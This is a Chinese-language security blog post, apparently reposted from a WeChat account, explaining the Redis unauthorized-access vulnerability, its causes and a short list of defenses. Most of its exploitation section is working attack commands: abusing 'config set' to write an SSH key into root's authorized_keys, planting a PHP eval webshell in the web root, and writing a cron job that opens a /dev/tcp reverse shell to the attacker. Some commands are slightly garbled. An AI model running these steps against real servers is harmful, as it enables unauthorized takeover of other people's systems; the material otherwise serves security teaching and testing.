Redis 未授权访问漏洞原理
Redis默认情况下,会绑定端口6379,如果没有采用相关的策略,比如添加防火墙规则表面其他非信任来源IP访问等,这样会将Redis服务暴露到公网上,如果在没有设置密码认证 (一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh/authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
漏洞危害
-
攻击者无需认证访问到内部数据,可能导致敏感信息泄露,攻击者也可以恶意执行flushall来清空所有数据 -
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门程序 -
最严重的情况,如果Redis以root身份与运行,黑客可以给root账户写入SSH公钥文件直接通过SSH登录受害服务器
漏洞产生原因
-
没有设置密码,或者设置密码为弱口令
-
没有开启防火墙
-
将6379端口直接暴露在公网上,允许任何人访问
-
将将protected-mode设置为no,把保护关掉。
-
用管理员身份运行redis服务
漏洞利用方式
(1)写入SSH公钥实现ssh登录
ssh-keygen -t rsa
//到~/.ssh目录下,生成自己的公钥
(echo -e"n";cat id_rsa.pub;echo -e "n")>1.txt
//将公钥写入一个txt文件
cat 1.txt | ./redis-cli -h ip -p 6379 -x set hack
//将公钥中的内容作为值写入到hack中
./redis-cli -h ip -p 6379
//连接redis服务
config set dir /root/.ssh
//更改redis备份路径为ssh公钥存放目录
config set dbfilename authorized_keys
save
exit
//设置上传公钥的备份文件名字为authorized_keys,保存,退出
ssh -i id_rsa root@ip
//尝试登录
(2)写入一句话木马
config set dir /var/www/html/
config set dbfilename shell.php
set x "eval($_POST['cmd']); "
或者:
set shell "rnrneval($_POST['cmd']); rnrn" @
save
//用蚁剑连接
(3)反弹shell
redis-cli -h 192.168.217.130
//写入反弹命令
set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/ip/8888 0>&1nn"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
防御方法
-
设置密码
-
设置访问ip
-
开启防火墙
-
修改服务端口
原文始发于微信公众号(Devil安全):【逃离计划】Redis 未授权访问漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论